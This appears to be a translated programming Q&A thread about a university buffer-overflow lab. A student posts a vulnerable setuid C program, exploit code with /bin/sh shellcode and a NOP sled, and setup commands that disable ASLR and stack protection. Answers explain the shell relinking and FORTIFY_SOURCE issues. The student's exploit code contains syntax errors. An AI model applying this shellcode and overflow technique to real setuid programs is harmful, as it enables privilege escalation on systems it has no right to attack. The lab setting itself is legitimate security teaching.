我有一个实验室作业,我被困在了。基本上,我必须利用缓冲区溢出来生成具有root权限的shell。我必须使用2个单独的.c文件。这是第一个: stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
//BO Vulnerability
strcpy(buffer,str);
return 1;
}
int main(int argc, char* argv[])
{
char str[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
这是第二个: exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
我只能修改第二个。以下是我所做的更改:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(shellcode);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]); //allows for command line input
ptr=buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);
//----------------------BEGIN FILL BUFFER----------------------\\
ret = get_sp()+offset;
printf("Return Address: 0x%x\n",get_sp());
printf("Address: 0x%x\n",ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for (i = 0; i < 300;i+=4)
{
*(a_ptr++) = ret;
}
for(i = 486;i < codeSize + 486;++i)
{
buffer[i] = shellcode[i-486];
{
buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
然后我从命令行执行以下操作
$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack
然而,虽然它确实生成了包含实际数据和shell的“badfile”,但是所述shell仅具有基本用户权限。事先,我确实在root中执行了以下命令:
echo 0 > /proc/sys/kernel/randomize_va_space
实验室说我需要在root中执行以下命令:
sysctl -w kernel.randomize_va_space=0
但是,如果我这样做,那么当我执行“stack”时,我会收到“非法指令”错误。有人可以帮我解决这个问题吗?
答案 0 :(得分:2)
我弄清楚问题是什么。我不得不将zsh链接到/ bin / bash /。我跳过了,因为我认为如果我使用Fedora,我只需要这样做。我正在使用Ubuntu。
答案 1 :(得分:0)
strcpy(buffer, str);
测试期间需要解决的一个问题是此函数调用。
FORTIFY_SOURCE使用高风险函数的“更安全”变体,例如memcpy
和strcpy
。当编译器可以推导出目标缓冲区大小时,编译器会使用更安全的变体。如果副本超过目标缓冲区大小,则程序将调用abort()
。
要禁用FORTIFY_SOURCE进行测试,您应该使用-U_FORTIFY_SOURCE
或-D_FORTIFY_SOURCE=0
编译该程序。